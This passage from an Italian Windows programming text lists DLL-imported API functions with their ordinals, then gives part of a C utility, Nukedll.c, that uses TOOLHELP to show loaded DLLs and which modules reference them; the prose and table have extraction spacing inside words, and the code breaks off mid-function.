ADVAPI 32 287 RegDel et eKeyW
ADVAPI 32 288 RegDel et eVal ueA
ADVAPI 32 289 RegDel et eVal ueW
ADVAPI 32 290 RegEnumKeyA
ADVAPI 32 291 RegEnumKeyExA
ADVAPI 32 293 RegEnumKeyW
ADVAPI 32 294 RegEnumVal ueA
ADVAPI 32 295 RegEnumVal ueW
ADVAPI 32 301 RegOpenKeyA
ADVAPI 32 302 RegOpenKeyExA
ADVAPI 32 304 RegOpenKeyW
ADVAPI 32 305 RegQuer yI nf oKeyA
ADVAPI 32 309 RegQuer yVal ueA
ADVAPI 32 310 RegQuer yVal ueExA
ADVAPI 32 311 RegQuer yVal ueExW
ADVAPI 32 320 RegSet Val ueA
ADVAPI 32 321 RegSet Val ueExA
ADVAPI 32 322 RegSet Val ueExW
ADVAPI 32 326 Regi st er Event Sour ceA
ADVAPI 32 332 Repor t Event A
ADVAPI 32 348 Set Secur i t yDescr i pt or Dacl
GDI 32 0 Abor t Doc
GDI 32 7 Ar c
GDI 32 9 Begi nPat h
GDI 32 10 Bi t Bl t
GDI 32 15 Cl oseEnhMet aFi l e
GDI 32 17 Cl oseMet aFi l e
GDI 32 19 Combi neRgn
GDI 32 21 CopyEnhMet aFi l eA
GDI 32 23 CopyMet aFi l eA
GDI 32 25 Cr eat eBi t map
GDI 32 27 Cr eat eBr ushI ndi r ect
GDI 32 30 Cr eat eCompat i bl eBi t map
GDI 32 31 Cr eat eCompat i bl eDC
GDI 32 32 Cr eat eDCA
GDI 32 36 Cr eat eDI BSect i on
GDI 32 37 Cr eat eDI Bi t map
GDI 32 40 Cr eat eEl l i pt i cRgnI ndi r ect
GDI 32 41 Cr eat eEnhMet aFi l eA
GDI 32 44 Cr eat eFont I ndi r ect A
GDI 32 47 Cr eat eHal f t onePal et t e
GDI 32 48 Cr eat eHat chBr ush
GDI 32 49 Cr eat eI CA
GDI 32 51 Cr eat eMet aFi l eA
GDI 32 53 Cr eat ePal et t e
GDI 32 54 Cr eat ePat t er nBr ush
GDI 32 55 Cr eat ePen
GDI 32 56 Cr eat ePenI ndi r ect
GDI 32 59 Cr eat eRect Rgn
GDI 32 60 Cr eat eRect RgnI ndi r ect
GDI 32 61 Cr eat eRoundRect Rgn
GDI 32 64 Cr eat eSol i dBr ush
GDI 32 67 Del et eDC
GDI 32 68 Del et eEnhMet aFi l e
GDI 32 69 Del et eMet aFi l e
GDI 32 70 Del et eObj ect
GDI 32 75 El l i pse
GDI 32 76 EndDoc
GDI 32 77 EndPage
GDI 32 78 EndPat h
GDI 32 84 EnumFont sA
GDI 32 90 Equal Rgn
GDI 32 91 Escape
GDI 32 92 Excl udeCl i pRect
GDI 32 94 Ext Cr eat eRegi on
GDI 32 97 Ext Sel ect Cl i pRgn
GDI 32 98 Ext Text Out A
GDI 32 171 Get Bi t mapBi t s
GDI 32 173 Get BkCol or
GDI 32 190 Get Cl i pBox
GDI 32 194 Get Cur r ent Obj ect
GDI 32 198 Get DI Bi t s
GDI 32 199 Get Devi ceCaps
GDI 32 206 Get EnhMet aFi l eHeader
GDI 32 226 Get MapMode
GDI 32 232 Get Near est Col or
GDI 32 234 Get Obj ect A
GDI 32 235 Get Obj ect Type
GDI 32 239 Get Pal et t eEnt r i es
GDI 32 241 Get Pi xel
GDI 32 244 Get ROP2
GDI 32 250 Get St ockObj ect
GDI 32 252 Get Syst emPal et t eEnt r i es
GDI 32 258 Get Text Col or
GDI 32 261 Get Text Ext ent Poi nt 32A
GDI 32 263 Get Text Ext ent Poi nt A
GDI 32 267 Get Text Met r i csA
GDI 32 270 Get Vi ewpor t Ext Ex
GDI 32 273 Get Wi ndowExt Ex
GDI 32 274 Get Wi ndowOr gEx
GDI 32 276 I nt er sect Cl i pRect
GDI 32 278 LPt oDP
GDI 32 280 Li neTo
GDI 32 283 MoveToEx
GDI 32 286 Of f set Rgn
GDI 32 288 Of f set Wi ndowOr gEx
GDI 32 290 Pat Bl t
GDI 32 291 Pat hToRegi on
GDI 32 292 Pi e
GDI 32 293 Pl ayEnhMet aFi l e
GDI 32 295 Pl ayMet aFi l e
GDI 32 309 Pt I nRegi on
GDI 32 311 Real i zePal et t e
GDI 32 314 Rect angl e
GDI 32 318 Reset DCA
GDI 32 321 Rest or eDC
GDI 32 322 RoundRect
GDI 32 323 SaveDC
GDI 32 324 Scal eVi ewpor t Ext Ex
GDI 32 325 Scal eWi ndowExt Ex
GDI 32 328 Sel ect Cl i pRgn
GDI 32 330 Sel ect Obj ect
GDI 32 331 Sel ect Pal et t e
GDI 32 332 Set Abor t Pr oc
GDI 32 336 Set BkCol or
GDI 32 337 Set BkMode
GDI 32 339 Set Br ushOr gEx
GDI 32 342 Set DI BCol or Tabl e
GDI 32 353 Set MapMode
GDI 32 361 Set Pi xel V
GDI 32 363 Set ROP2
GDI 32 364 Set Rect Rgn
GDI 32 366 Set St r et chBl t Mode
GDI 32 368 Set Text Al i gn
GDI 32 370 Set Text Col or
GDI 32 372 Set Vi ewpor t Ext Ex
GDI 32 373 Set Vi ewpor t Or gEx
GDI 32 376 Set Wi ndowExt Ex
GDI 32 377 Set Wi ndowOr gEx
GDI 32 379 St ar t DocA
GDI 32 381 St ar t Page
GDI 32 382 St r et chBl t
GDI 32 383 St r et chDI Bi t s
GDI 32 387 Text Out A
GDI 32 389 Tr ansl at eChar set I nf o
GDI 32 391 Unr eal i zeObj ect
GDI 32 396 Wi denPat h
KERNEL32 24 Cl oseHandl e
KERNEL32 30 Compar eSt r i ngA
KERNEL32 31 Compar eSt r i ngW
KERNEL32 42 Cr eat eDi r ect or yA
KERNEL32 46 Cr eat eEvent A
KERNEL32 49 Cr eat eFi l eA
KERNEL32 61 Cr eat ePr ocessA
KERNEL32 62 Cr eat ePr ocessW
KERNEL32 64 Cr eat eSemaphor eA
KERNEL32 67 Cr eat eThr ead
KERNEL32 76 Del et eCr i t i cal Sect i on
KERNEL32 78 Del et eFi l eA
KERNEL32 85 Dupl i cat eHandl e
KERNEL32 88 Ent er Cr i t i cal Sect i on
KERNEL32 107 Exi t Pr ocess
KERNEL32 108 Exi t Thr ead
KERNEL32 119 Fi l eTi meToLocal Fi l eTi me
KERNEL32 120 Fi l eTi meToSyst emTi me
KERNEL32 126 Fi ndCl ose
KERNEL32 130 Fi ndFi r st Fi l eA
KERNEL32 135 Fi ndNext Fi l eA
KERNEL32 137 Fi ndResour ceA
KERNEL32 142 Fl ushFi l eBuf f er s
KERNEL32 143 Fl ushI nst r uct i onCache
KERNEL32 147 For mat MessageA
KERNEL32 148 For mat MessageW
KERNEL32 150 Fr eeEnvi r onment St r i ngsA
KERNEL32 151 Fr eeEnvi r onment St r i ngsW
KERNEL32 152 Fr eeLi br ar y
KERNEL32 154 Fr eeResour ce
KERNEL32 157 Get ACP
KERNEL32 163 Get CPI nf o
KERNEL32 170 Get CommandLi neA
KERNEL32 174 Get Comput er NameA
KERNEL32 209 Get Cur r ent Di r ect or yA
KERNEL32 211 Get Cur r ent Pr ocess
KERNEL32 212 Get Cur r ent Pr ocessI d
KERNEL32 214 Get Cur r ent Thr eadI d
KERNEL32 223 Get Dr i veTypeA
KERNEL32 225 Get Envi r onment St r i ngs
KERNEL32 227 Get Envi r onment St r i ngsW
KERNEL32 228 Get Envi r onment Var i abl eA
KERNEL32 230 Get Exi t CodePr ocess
KERNEL32 232 Get Fi l eAt t r i but esA
KERNEL32 238 Get Fi l eTi me
KERNEL32 239 Get Fi l eType
KERNEL32 240 Get Ful l Pat hNameA
KERNEL32 244 Get Last Er r or
KERNEL32 245 Get Local Ti me
KERNEL32 246 Get Local eI nf oA
KERNEL32 252 Get Modul eFi l eNameA
KERNEL32 253 Get Modul eFi l eNameW
KERNEL32 254 Get Modul eHandl eA
KERNEL32 265 Get OEMCP
KERNEL32 274 Get Pr i vat ePr of i l eSt r i ngA
KERNEL32 278 Get Pr ocAddr ess
KERNEL32 291 Get Pr of i l eSt r i ngA
KERNEL32 294 Get Shor t Pat hNameA
KERNEL32 296 Get St ar t upI nf oA
KERNEL32 298 Get St dHandl e
KERNEL32 299 Get St r i ngTypeA
KERNEL32 300 Get St r i ngTypeExA
KERNEL32 302 Get St r i ngTypeW
KERNEL32 303 Get Syst emDef aul t LCI D
KERNEL32 304 Get Syst emDef aul t LangI D
KERNEL32 305 Get Syst emDi r ect or yA
KERNEL32 307 Get Syst emI nf o
KERNEL32 309 Get Syst emTi me
KERNEL32 315 Get TempFi l eNameA
KERNEL32 317 Get TempPat hA
KERNEL32 325 Get Ti ckCount
KERNEL32 328 Get Ti meZoneI nf or mat i on
KERNEL32 329 Get User Def aul t LCI D
KERNEL32 330 Get User Def aul t LangI D
KERNEL32 332 Get Ver si on
KERNEL32 333 Get Ver si onExA
KERNEL32 335 Get Vol umeI nf or mat i onA
KERNEL32 337 Get Wi ndowsDi r ect or yA
KERNEL32 339 Gl obal AddAt omA
KERNEL32 341 Gl obal Al l oc
KERNEL32 343 Gl obal Del et eAt om
KERNEL32 348 Gl obal Fr ee
KERNEL32 351 Gl obal Handl e
KERNEL32 352 Gl obal Lock
KERNEL32 354 Gl obal ReAl l oc
KERNEL32 355 Gl obal Si ze
KERNEL32 358 Gl obal Unl ock
KERNEL32 360 HeapAl l oc
KERNEL32 362 HeapCr eat e
KERNEL32 364 HeapDest r oy
KERNEL32 366 HeapFr ee
KERNEL32 369 HeapReAl l oc
KERNEL32 370 HeapSi ze
KERNEL32 377 I ni t i al i zeCr i t i cal Sect i on
KERNEL32 379 I nt er l ockedDecr ement
KERNEL32 382 I nt er l ockedI ncr ement
KERNEL32 384 I sBadCodePt r
KERNEL32 387 I sBadReadPt r
KERNEL32 391 I sDBCSLeadByt e
KERNEL32 397 LCMapSt r i ngA
KERNEL32 398 LCMapSt r i ngW
KERNEL32 399 LeaveCr i t i cal Sect i on
KERNEL32 400 LoadLi br ar yA
KERNEL32 401 LoadLi br ar yExA
KERNEL32 405 LoadResour ce
KERNEL32 417 LockFi l e
KERNEL32 419 LockResour ce
KERNEL32 422 MoveFi l eA
KERNEL32 426 Mul Di v
KERNEL32 427 Mul t i Byt eToWi deChar
KERNEL32 457 Rai seExcept i on
KERNEL32 470 ReadFi l e
KERNEL32 478 Rel easeSemaphor e
KERNEL32 479 RemoveDi r ect or yA
KERNEL32 481 Reset Event
KERNEL32 482 ResumeThr ead
KERNEL32 485 Rt l Unwi nd
KERNEL32 489 Sear chPat hA
KERNEL32 524 Set Cur r ent Di r ect or yA
KERNEL32 528 Set EndOf Fi l e
KERNEL32 529 Set Envi r onment Var i abl eA
KERNEL32 531 Set Er r or Mode
KERNEL32 532 Set Event
KERNEL32 535 Set Fi l eAt t r i but esA
KERNEL32 537 Set Fi l ePoi nt er
KERNEL32 538 Set Fi l eTi me
KERNEL32 539 Set Handl eCount
KERNEL32 542 Set Last Er r or
KERNEL32 543 Set Local Ti me
KERNEL32 553 Set St dHandl e
KERNEL32 574 Si zeof Resour ce
KERNEL32 575 Sl eep
KERNEL32 580 Syst emTi meToFi l eTi me
KERNEL32 582 Ter mi nat ePr ocess
KERNEL32 584 Tl sAl l oc
KERNEL32 585 Tl sFr ee
KERNEL32 586 Tl sGet Val ue
KERNEL32 587 Tl sSet Val ue
KERNEL32 592 Unhandl edExcept i onFi l t er
KERNEL32 593 Unl ockFi l e
KERNEL32 603 Vi r t ual Al l oc
KERNEL32 606 Vi r t ual Fr ee
KERNEL32 609 Vi r t ual Pr ot ect
KERNEL32 611 Vi r t ual Quer y
KERNEL32 618 Wai t For Si ngl eObj ect
KERNEL32 622 Wi deChar ToMul t i Byt e
KERNEL32 623 Wi nExec
KERNEL32 635 Wr i t eFi l e
KERNEL32 651 _l cl ose
KERNEL32 653 _l l seek
KERNEL32 655 _l r ead
KERNEL32 656 _l wr i t e
KERNEL32 658 l st r cat A
KERNEL32 661 l st r cmpA
KERNEL32 664 l st r cmpi A
KERNEL32 665 l st r cmpi W
KERNEL32 667 l st r cpyA
KERNEL32 668 l st r cpyW
KERNEL32 670 l st r cpynA
KERNEL32 673 l st r l enA
KERNEL32 674 l st r l enW
OLE32 0 Bi ndMoni ker
OLE32 5 CLSI DFr omPr ogI D
OLE32 6 CLSI DFr omSt r i ng
OLE32 11 CoCr eat eGui d
OLE32 12 CoCr eat eI nst ance
OLE32 14 CoDi sconnect Obj ect
OLE32 20 CoFr eeUnusedLi br ar i es
OLE32 23 CoGet Cl assObj ect
OLE32 29 CoGet Mal l oc
OLE32 43 CoI sOl e1Cl ass
OLE32 45 CoLockObj ect Ext er nal
OLE32 48 CoMar shal I nt er f ace
OLE32 54 CoRegi st er Cl assObj ect
OLE32 56 CoRegi st er MessageFi l t er
OLE32 62 CoRevokeCl assObj ect
OLE32 68 CoTaskMemAl l oc
OLE32 69 CoTaskMemFr ee
OLE32 75 CoUnmar shal I nt er f ace
OLE32 77 Cr eat eBi ndCt x
OLE32 79 Cr eat eDat aAdvi seHol der
OLE32 84 Cr eat eI LockByt esOnHGl obal
OLE32 86 Cr eat eOl eAdvi seHol der
OLE32 88 Cr eat eSt r eamOnHGl obal
OLE32 92 DoDr agDr op
OLE32 95 Get Cl assFi l e
OLE32 143 I I DFr omSt r i ng
OLE32 144 I sAccel er at or
OLE32 150 MkPar seDi spl ayName
OLE32 154 Ol eConver t I St or ageToOLESTREAM
OLE32 156 Ol eConver t OLESTREAMToI St or age
OLE32 162 Ol eCr eat eFr omDat a
OLE32 164 Ol eCr eat eFr omFi l e
OLE32 166 Ol eCr eat eLi nk
OLE32 168 Ol eCr eat eLi nkFr omDat a
OLE32 170 Ol eCr eat eLi nkToFi l e
OLE32 172 Ol eCr eat eMenuDescr i pt or
OLE32 174 Ol eDest r oyMenuDescr i pt or
OLE32 175 Ol eDoAut oConver t
OLE32 177 Ol eDupl i cat eDat a
OLE32 178 Ol eFl ushCl i pboar d
OLE32 179 Ol eGet Aut oConver t
OLE32 180 Ol eGet Cl i pboar d
OLE32 181 Ol eGet I conOf Cl ass
OLE32 183 Ol eI ni t i al i ze
OLE32 185 Ol eI sCur r ent Cl i pboar d
OLE32 186 Ol eI sRunni ng
OLE32 187 Ol eLoad
OLE32 189 Ol eLockRunni ng
OLE32 192 Ol eQuer yCr eat eFr omDat a
OLE32 193 Ol eQuer yLi nkFr omDat a
OLE32 196 Ol eRegGet Mi scSt at us
OLE32 197 Ol eRegGet User Type
OLE32 198 Ol eRun
OLE32 199 Ol eSave
OLE32 200 Ol eSaveToSt r eam
OLE32 202 Ol eSet Cl i pboar d
OLE32 204 Ol eSet MenuDescr i pt or
OLE32 205 Ol eTr ansl at eAccel er at or
OLE32 206 Ol eUni ni t i al i ze
OLE32 208 Pr ogI DFr omCLSI D
OLE32 213 ReadCl assSt g
OLE32 214 ReadCl assSt m
OLE32 218 Regi st er Dr agDr op
OLE32 219 Rel easeSt gMedi um
OLE32 220 RevokeDr agDr op
OLE32 232 St gCr eat eDocf i l e
OLE32 233 St gCr eat eDocf i l eOnI LockByt es
OLE32 237 St gI sSt or ageI LockByt es
OLE32 239 St gOpenSt or age
OLE32 240 St gOpenSt or ageOnI LockByt es
OLE32 242 St r i ngFr omCLSI D
OLE32 243 St r i ngFr omGUI D2
OLE32 254 Wr i t eCl assSt g
OLEAUT32 2371 Ol eLoad
USER32 1 Adj ust Wi ndowRect
USER32 2 Adj ust Wi ndowRect Ex
USER32 4 AppendMenuA
USER32 7 At t achThr eadI nput
USER32 8 Begi nDef er Wi ndowPos
USER32 9 Begi nPai nt
USER32 10 Br i ngWi ndowToTop
USER32 17 Cal l Next HookEx
USER32 18 Cal l Wi ndowPr ocA
USER32 29 Char Lower A
USER32 30 Char Lower Buf f A
USER32 31 Char Lower Buf f W
USER32 33 Char Next A
USER32 36 Char Pr evA
USER32 39 Char ToOemA
USER32 40 Char ToOemBuf f A
USER32 43 Char Upper A
USER32 44 Char Upper Buf f A
USER32 45 Char Upper Buf f W
USER32 48 CheckMenuI t em
USER32 52 Chi l dWi ndowFr omPoi nt Ex
USER32 54 Cl i ent ToScr een
USER32 55 Cl i pCur sor
USER32 56 Cl oseCl i pboar d
USER32 60 CopyAccel er at or Tabl eA
USER32 64 CopyRect
USER32 66 Cr eat eAccel er at or Tabl eA
USER32 68 Cr eat eCar et
USER32 69 Cr eat eCur sor
USER32 75 Cr eat eDi al ogPar amA
USER32 77 Cr eat eI con
USER32 83 Cr eat eMenu
USER32 84 Cr eat ePopupMenu
USER32 85 Cr eat eWi ndowExA
USER32 89 DdeAbandonTr ansact i on
USER32 92 DdeCl i ent Tr ansact i on
USER32 93 DdeCmpSt r i ngHandl es
USER32 94 DdeConnect
USER32 96 DdeCr eat eDat aHandl e
USER32 97 DdeCr eat eSt r i ngHandl eA
USER32 99 DdeDi sconnect
USER32 102 DdeFr eeDat aHandl e
USER32 103 DdeFr eeSt r i ngHandl e
USER32 104 DdeGet Dat a
USER32 105 DdeGet Last Er r or
USER32 108 DdeI ni t i al i zeA
USER32 111 DdeNameSer vi ce
USER32 112 DdePost Advi se
USER32 113 DdeQuer yConvI nf o
USER32 115 DdeQuer ySt r i ngA
USER32 119 DdeSet User Handl e
USER32 121 DdeUni ni t i al i ze
USER32 124 Def Fr amePr ocA
USER32 126 Def MDI Chi l dPr ocA
USER32 128 Def Wi ndowPr ocA
USER32 130 Def er Wi ndowPos
USER32 131 Del et eMenu
USER32 133 Dest r oyAccel er at or Tabl e
USER32 134 Dest r oyCar et
USER32 135 Dest r oyCur sor
USER32 136 Dest r oyI con
USER32 137 Dest r oyMenu
USER32 138 Dest r oyWi ndow
USER32 142 Di al ogBoxPar amA
USER32 144 Di spat chMessageA
USER32 161 Dr awFocusRect
USER32 163 Dr awFr ameCont r ol
USER32 164 Dr awI con
USER32 166 Dr awMenuBar
USER32 170 Dr awText A
USER32 171 Dr awText ExA
USER32 175 Empt yCl i pboar d
USER32 176 Enabl eMenuI t em
USER32 178 Enabl eWi ndow
USER32 179 EndDef er Wi ndowPos
USER32 180 EndDi al og
USER32 182 EndPai nt
USER32 185 EnumCl i pboar dFor mat s
USER32 197 EnumThr eadWi ndows
USER32 201 Equal Rect
USER32 204 Fi l l Rect
USER32 205 Fi ndWi ndowA
USER32 208 Fi ndWi ndowW
USER32 210 Fr ameRect
USER32 213 Get Act i veWi ndow
USER32 215 Get AsyncKeySt at e
USER32 216 Get Capt ur e
USER32 217 Get Car et Bl i nkTi me
USER32 218 Get Car et Pos
USER32 219 Get Cl assI nf oA
USER32 220 Get Cl assI nf oExA
USER32 225 Get Cl assNameA
USER32 228 Get Cl i ent Rect
USER32 230 Get Cl i pboar dDat a
USER32 231 Get Cl i pboar dFor mat NameA
USER32 235 Get Cur sor
USER32 237 Get Cur sor Pos
USER32 238 Get DC
USER32 239 Get DCEx
USER32 240 Get Deskt opWi ndow
USER32 243 Get Dl gI t em
USER32 247 Get Doubl eCl i ckTi me
USER32 248 Get Focus
USER32 249 Get For egr oundWi ndow
USER32 250 Get I conI nf o
USER32 257 Get KeySt at e
USER32 258 Get Keyboar dLayout
USER32 262 Get Keyboar dSt at e
USER32 264 Get Last Act i vePopup
USER32 265 Get Menu
USER32 269 Get MenuI t emCount
USER32 270 Get MenuI t emI D
USER32 271 Get MenuI t emI nf oA
USER32 274 Get MenuSt at e
USER32 275 Get MenuSt r i ngA
USER32 279 Get MessagePos
USER32 280 Get MessageTi me
USER32 285 Get Par ent
USER32 289 Get Pr opA
USER32 291 Get QueueSt at us
USER32 292 Get Scr ol l I nf o
USER32 293 Get Scr ol l Pos
USER32 296 Get SubMenu
USER32 297 Get SysCol or
USER32 299 Get Syst emMenu
USER32 300 Get Syst emMet r i cs
USER32 301 Get TabbedText Ext ent A
USER32 306 Get Updat eRect
USER32 307 Get Updat eRgn
USER32 311 Get Wi ndow
USER32 313 Get Wi ndowDC
USER32 314 Get Wi ndowLongA
USER32 316 Get Wi ndowPl acement
USER32 317 Get Wi ndowRect
USER32 318 Get Wi ndowRgn
USER32 319 Get Wi ndowText A
USER32 320 Get Wi ndowText Lengt hA
USER32 323 Get Wi ndowThr eadPr ocessI d
USER32 327 Hi deCar et
USER32 331 I nf l at eRect
USER32 332 I nser t MenuA
USER32 337 I nt er sect Rect
USER32 338 I nval i dat eRect
USER32 339 I nval i dat eRgn
USER32 341 I sChar Al phaA
USER32 349 I sChi l d
USER32 350 I sCl i pboar dFor mat Avai l abl e
USER32 352 I sDi al ogMessageA
USER32 356 I sI coni c
USER32 358 I sRect Empt y
USER32 359 I sWi ndow
USER32 360 I sWi ndowEnabl ed
USER32 362 I sWi ndowVi si bl e
USER32 363 I sZoomed
USER32 365 Ki l l Ti mer
USER32 366 LoadAccel er at or sA
USER32 368 LoadBi t mapA
USER32 370 LoadCur sor A
USER32 374 LoadI conA
USER32 376 LoadI mageA
USER32 387 LoadSt r i ngA
USER32 390 LockWi ndowUpdat e
USER32 400 MapWi ndowPoi nt s
USER32 404 MessageBeep
USER32 405 MessageBoxA
USER32 408 MessageBoxI ndi r ect A
USER32 411 Modi f yMenuA
USER32 413 MoveWi ndow
USER32 414 MsgWai t For Mul t i pl eObj ect s
USER32 417 OemToChar A
USER32 421 Of f set Rect
USER32 422 OpenCl i pboar d
USER32 431 PeekMessageA
USER32 432 PeekMessageW
USER32 433 Post MessageA
USER32 434 Post MessageW
USER32 435 Post Qui t Message
USER32 436 Post Thr eadMessageA
USER32 443 Pt I nRect
USER32 446 Regi st er Cl assA
USER32 447 Regi st er Cl assExA
USER32 450 Regi st er Cl i pboar dFor mat A
USER32 460 Rel easeCapt ur e
USER32 461 Rel easeDC
USER32 462 RemoveMenu
USER32 463 RemovePr opA
USER32 467 Scr eenToCl i ent
USER32 472 SendDl gI t emMessageA
USER32 474 SendMessageA
USER32 482 Set Act i veWi ndow
USER32 483 Set Capt ur e
USER32 485 Set Car et Pos
USER32 489 Set Cl i pboar dDat a
USER32 492 Set Cur sor
USER32 494 Set Cur sor Pos
USER32 498 Set Dl gI t emText A
USER32 501 Set Focus
USER32 502 Set For egr oundWi ndow
USER32 504 Set Keyboar dSt at e
USER32 507 Set Menu
USER32 509 Set MenuDef aul t I t em
USER32 511 Set MenuI t emI nf oA
USER32 515 Set Par ent
USER32 518 Set Pr opA
USER32 520 Set Rect
USER32 522 Set Scr ol l I nf o
USER32 523 Set Scr ol l Pos
USER32 524 Set Scr ol l Range
USER32 534 Set Ti mer
USER32 538 Set Wi ndowCont ext Hel pI d
USER32 539 Set Wi ndowLongA
USER32 542 Set Wi ndowPos
USER32 543 Set Wi ndowRgn
USER32 545 Set Wi ndowText A
USER32 549 Set Wi ndowsHookExA
USER32 550 Set Wi ndowsHookExW
USER32 552 ShowCar et
USER32 553 ShowCur sor
USER32 555 ShowScr ol l Bar
USER32 557 ShowWi ndow
USER32 560 Subt r act Rect
USER32 564 Syst emPar amet er sI nf oA
USER32 566 TabbedText Out A
USER32 570 ToAsci i
USER32 575 Tr ackPopupMenu
USER32 580 Tr ansl at eMDI SysAccel
USER32 581 Tr ansl at eMessage
USER32 584 UnhookWi ndowsHookEx
USER32 589 Unr egi st er Cl assA
USER32 593 Updat eWi ndow
USER32 599 VkKeyScanA
USER32 602 VkKeyScanW
USER32 604 Wai t For I nput I dl e
USER32 605 Wai t Message
USER32 606 Wi nHel pA
USER32 609 Wi ndowFr omPoi nt
USER32 610 keybd_event
USER32 612wspr i nt f A


DLL CARICATE NEL SISTEMA


Fi no ad or a abbi amo anal i zzat o ut i l i t i es che per met t evano di veder e qual i DLL
sono car i cat e nel si st ema.
La cosa i nt er essant e quel l a l egat a al l a met odol ogi a per r i cavar e quest e
i nf or mazi oni da nost r i pr ogr ammi .
I l seguent e pr ogr amma i n C vi most r a l e DLL car i cat e nel si st ema.

Nukedll.c

#include <windows.h>
#include <toolhelp.h>
#include "nukedll.h"

// A private message posted by the NotifyRegister callback routine when
// module load/unload activity starts.
#define WM_UPDATE_DLL_LIST (WM_USER+0x200)

BOOL DllListNeedsRefresh = FALSE; // Set to TRUE when module activity starts
HWND HWndDlg; // The HWND of the main dialog

// Make a variable in a far data segment, thereby preventing a 2nd
// instance of the program from starting up. We have a relocation
// to the DGROUP in the NotifyRegisterCallback() routine. If we
// wanted to be fancy, we could look up the HWND of the previous
// instance and activate it.
int far ForceMultipleDataSegs;

// Returns non-zero if the passed parameter is an HMODULE, 0 otherwise
BOOL IsHModule(HMODULE hModule)
{
MODULEENTRY me;

// Use TOOLHELP to tell us if the passed HMODULE is valid. If we
// were worried about speed, we could treat the HMODULE as a selector
// and read the first two bytes of the segment. If they're 'NE', then
// it's an HMODULE.
me.dwSize = sizeof(me);
return ModuleFindHandle(&me, hModule);
}

// Given a dialog box handle and and a listbox ID, return the item data
// value of the currently selected listbox entry.
DWORD GetSelectedItemData(HWND hWndDlg, int listboxID)
{
int index;

index = (int)SendDlgItemMessage(hWndDlg, listboxID, LB_GETCURSEL, 0, 0);
if ( index == - 1 )
return 0xFFFFFFFF;

return SendDlgItemMessage(hWndDlg, listboxID,
LB_GETITEMDATA, index, 0);
}

// Update the left listbox to reflect the current list of loaded DLLs
void UpdateDllList(HWND hWndDlg)
{
MODULEENTRY me;
BOOL moreToGo;
char szBuffer[256];
HWND hWndListbox;
LPWORD lpModuleFlags;

// Get the listbox's HWND. We'll be sending numerous messages to it,
// so it's more efficient than using SendDlgItemMessage().
hWndListbox = GetDlgItem(hWndDlg, IDL_DLLS);

// Clear the listbox's contents
SendMessage(hWndListbox, LB_RESETCONTENT, 0, 0);

// Use TOOLHELP to enumerate through all the DLLs in the system
me.dwSize = sizeof(me);
moreToGo = ModuleFirst(&me);
while ( moreToGo )
{
// Get a pointer to the flags WORD in the module database
lpModuleFlags = MAKELP(me.hModule, 0xC);

// Is it a DLL module?
if ( *lpModuleFlags & 0x8000 )
{
// Format a string with the module's name and reference count
wsprintf(szBuffer, "%s (%u)", (LPSTR)me.szModule, me.wcUsage);

// Add the string to the beginning of the listbox, and then
// store the HMODULE in the new entry's item data.
SendMessage(hWndListbox, LB_INSERTSTRING, 0,
(LPARAM)(LPSTR)szBuffer);
SendMessage(hWndListbox, LB_SETITEMDATA, 0, me.hModule);
}

moreToGo = ModuleNext(&me); // Go on to next module
}

// After listing all the modules, set the selection to the first one
SendMessage(hWndListbox, LB_SETCURSEL, 0, 0);
}

// update the righthand listbox to show all the modules that reference
// the selected module in the left listbox.
void UpdateReferencingDllList(HWND hWndDlg, HMODULE hModule)
{
MODULEENTRY me;
BOOL moreToGo;
char szBuffer[256];
HWND hWndListbox;
BOOL fHasReferencingDll = FALSE;

// Get the listbox's HWND. We'll be sending numerous messages to it,
// so it's more efficient than using SendDlgItemMessage().
hWndListbox = GetDlgItem(hWndDlg, IDL_USED_BY);

// Clear the listbox's contents
SendMessage(hWndListbox, LB_RESETCONTENT, 0, 0);

// If we were somehow passed an invalid HMODULE, bail out now
if ( IsHModule(hModule) == FALSE )
return;

// Use TOOLHELP to enumerate through all the DLLs in the system
me.dwSize = sizeof(me);
moreToGo = ModuleFirst(&me);
while ( moreToGo )
{
// Make a pointer to the size of the module reference table
// of the current module in the enumeration
LPWORD lpModRefCount = MAKELP(me.hModule, 0x1E);
HMODULE far * lpModRefTable;
WORD i, npModRefTable;

// Make a far pointer to the module reference table of the
// current module in the enumeration
npModRefTable = *(LPWORD)MAKELP(me.hModule, 0x28);
lpModRefTable = MAKELP(me.hModule, npModRefTable);

// Iterate through all the entries in the module reference table
for ( i = 0; i < *lpModRefCount; i++ )
{
// Did we find an HMODULE that matches the one selected in
// the left listbox?
if ( *lpModRefTable == hModule )
{
// At least one module references the selected DLL
fHasReferencingDll = TRUE;

// Add the module name to the right listbox
SendMessage(hWndListbox, LB_ADDSTRING, 0,
(LPARAM)(LPSTR)me.szModule);

break; // No need to keep looking!
}

// Advance to next HMODULE in the module reference table
lpModRefTable++;
}

// Go on to the next module in the system
moreToGo = ModuleNext(&me);
}

// If no module directly references the selected module, the module
// must have been loaded via LoadLibrary.
if ( fHasReferencingDll == FALSE )
{
wsprintf(szBuffer, "%d LoadLibrary loads", GetModuleUsage(hModule));
SendMessage(hWndListbox, LB_ADDSTRING, 0, (LPARAM)(LPSTR)szBuffer);
}
}

// This routine is similar to the UpdateReferencingDllList above. Instead
// of filling in a listbox though, it simply returns true if at least one
// module is currently implicitly linked to the passed HMODULE.
BOOL HasReferencingDll(HMODULE hModule)
{
MODULEENTRY me;
BOOL moreToGo;

if ( IsHModule(hModule) == FALSE )
return FALSE;

me.dwSize = sizeof(me);
moreToGo = ModuleFirst(&me);
while ( moreToGo )
{
LPWORD lpModRefCount = MAKELP(me.hModule, 0x1E);
HMODULE far * lpModRefTable;
WORD i, npModRefTable;

npModRefTable = *(LPWORD)MAKELP(me.hModule, 0x28);
lpModRefTable = MAKELP(me.hModule, npModRefTable);

for ( i = 0; i < *lpModRefCount; i++ )
{
if ( *lpModRefTable == hModule )
return TRUE; // Bail out! At least one referencer
found.

lpModRefTable++; // Advance to next HMODULE
}
moreToGo = ModuleNext(&me);
}
return FALSE;
}

// The TOOLHELP notification handler routine. Looks for for module loads
// and unloads, and tells the main window when to update the DLL list.
BOOL CALLBACK __loadds NotifyRegisterCallback(WORD wID, DWORD dwData)
{
// BC++ 3.1 has a bug where it ignores __loadds. Therefore
// we have to load DS by hand.
#ifdef __BORLANDC__
__asm {
mov ax, seg HWndDlg
mov ds, ax
}
#endif

if ( (wID == NFY_DELMODULE) || (wID == NFY_STARTDLL) )
{
// Only do this for the first DLL in the group of loads/unloads
if ( DllListNeedsRefresh == FALSE )
{
DllListNeedsRefresh = TRUE;
// Tell dialog to redraw the DLL list and then select
// the first DLL in the list
PostMessage(HWndDlg, WM_UPDATE_DLL_LIST, 0, 0);
